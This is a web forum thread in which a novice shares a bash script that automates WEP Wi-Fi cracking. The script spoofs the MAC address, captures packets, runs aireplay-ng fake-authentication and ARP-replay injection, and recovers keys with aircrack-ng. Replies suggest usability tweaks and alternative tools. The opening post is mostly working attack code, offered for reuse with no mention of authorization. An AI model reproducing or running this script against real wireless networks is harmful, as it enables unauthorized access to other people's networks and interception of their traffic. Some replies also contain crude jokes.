Results 1 to 6 of 6

Thread: Auto WEP hack!! script

  1. #1
    Just burned his ISO
    Join Date
    Sep 2008
    Posts
    18

    Cool Auto WEP hack!! script

    Hello all,

    I have finally finished my Auto-WEP-Hacking-Script.

    After picking up backtrack for the first time a month ago, i was amazed, it was the first time i had used linux, and the first time i had anything i was really able to get my teeth into.

    Since then i have learnt so much to do with BT3, ubuntu, and a few other distros. But i am almost certantly still a "noob".

    Anyway on with the Auto-Script. This is my second script after the obvious "Hello World", I just hope you all like my attempts.

    I have written it for Wlan0, but you may change it to what you dam well wish.

    I am open to all and any comments and/or help to improve this simple bash script.

    I am also very intrested in learning python, to wright some REAL programs, as i have the programmer bug now, lol.

    ************************************************** *****************************JUST REMEMBER TO PUT THE SCRIPT IN YOUR ROOT FOLDER AND CALL IT wifi << NOTICE THE SMALL wifi, IF YOU RENAME IT CHANGE THE NAME IN THE SCRIPT TOO!!!!*******************************************


    Code:
    #!/bin/bash
    
    clear
    
    MAC=00:11:22:33:44:55
    
    INTERFACE=wlan0
    
    FILE=wep
    
    choice=5
    
    echo "Please choose your hack"
    echo "1. Start Mac spoof"
    echo "2. Start Dump"
    echo "3. Start Hack"
    echo "4. Exit"
    echo -n "Choose now! [1-4]"
    
    
    while [ $choice -eq 5 ]; do
    read choice
    
    if [ $choice -eq 1 ] ; then
     echo "Spoofing mac"
     sudo airmon-ng stop $INTERFACE
     sudo ifconfig $INTERFACE down
     sudo macchanger --mac $MAC $INTERFACE
     sudo airmon-ng start $INTERFACE
     sudo /root/./wifi
    else
     if [ $choice -eq 2 ] ; then
      echo "Starting Dump"
      konsole -e sudo /root/./wifi &
      sudo airodump-ng wlan0
      sleep 25
      exit 0
     else
      if [ $choice -eq 3 ] ; then
       echo "Running Hack"
       echo Enter the ESSID:
       read ESSID
    
       echo Enter the BSSID:
       read BSSID
    
       echo Enter the CHANNEL:
       read CH
       clear
    
       sleep 1
    
       xterm -e airodump-ng -c $CH -w $FILE --bssid $BSSID $INTERFACE &
    
       
       aireplay-ng -1 0 -a $BSSID -h $MAC $INTERFACE -e $ESSID
       sleep 1
       aireplay-ng -1 0 -a $BSSID -h $MAC $INTERFACE -e $ESSID
       sleep 1
       aireplay-ng -3 -b $BSSID -h $MAC $INTERFACE -e $ESSID &
       sleep 10
    
       konsole --noclose -e aircrack-ng -b $BSSID $FILE*.cap
      else
       if [ $choice -eq 4 ] ; then
        echo "Now Exiting"
         else
          echo "Please choose your hack"
          echo "1. Start Mac spoof"
          echo "2. Start Dump"
          echo "3. Start Hack"
          echo "4. Exit"
          echo -n "Choose now! [1-3]"
          choice=5
       fi
      fi
     fi
    fi
    done
    exit 0

    Any questions please PM me.

    Please Help if you can, also if you have any other better bash tutorials or tips please let me know, really intrested in any good bash tutorial videos.

    Thanks all, feels good to give back to the community, instead of rapeing forums for tips and help.

    So big thanks to all those who share whatever they have created so far, that i and others have used.

  2. #2
    Senior Member streaker69's Avatar
    Join Date
    Jan 2010
    Location
    Virginville, BlueBall, Bird In Hand, Intercourse, Paradise, PA
    Posts
    3,535

    Default

    Why not do this to make it a little easier:

    Code:
    INTERFACE=$1
    Then to run it, do this:

    Code:
    wifi wlan0
    That way you don't need to edit the script, you just pass the interface name into it via the command line.
    A third party security audit is the IT equivalent of a colonoscopy. It's long, intrusive, very uncomfortable, and when it's done, you'll have seen things you really didn't want to see, and you'll never forget that you've had one.

  3. #3
    Just burned his ISO
    Join Date
    Sep 2008
    Posts
    18

    Default

    Hello Streaker69,

    Thanks for the reply, and tips too.

    Anything that will help or improve anything is a good thing.

    Espically if its giving the Mrs a bigger chest!!!

  4. #4
    Junior Member
    Join Date
    Nov 2008
    Posts
    38

    Default

    I know this post has some dust on it...but.
    does aireplay-ng -1 0 report back an error code...if so, you should use that to determin if mac filtering is on. Otherwise, if it is on, the aireplay-ng -3 and the aircrack-ng would be a waist of time...

    I like the script though

  5. #5
    Very good friend of the forum killadaninja's Avatar
    Join Date
    Oct 2007
    Location
    London, United Kingdom.
    Posts
    526

    Default

    Well done, however are you familiar with spoonwep?
    Sometimes I try to fit a 16-character string into an 8–byte space, on purpose.

  6. #6
    Just burned his ISO
    Join Date
    Sep 2008
    Posts
    18

    Default

    Hello..

    Spoonwep. Hmm, Heard about it not really looked into it tho. As i said im still a noob, And learning as i go. So any help and pointers in the right direction are more than welcome.

    And thanks for the replys guys..

    The aircrack-ng -1 0 has not giving me any error, but i am only using a few certain access points. All of which are from the same company, without mac filtering.

    I would love to know how to make it so you caould possibly choose half way through what attack you would like to do :-) ..

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •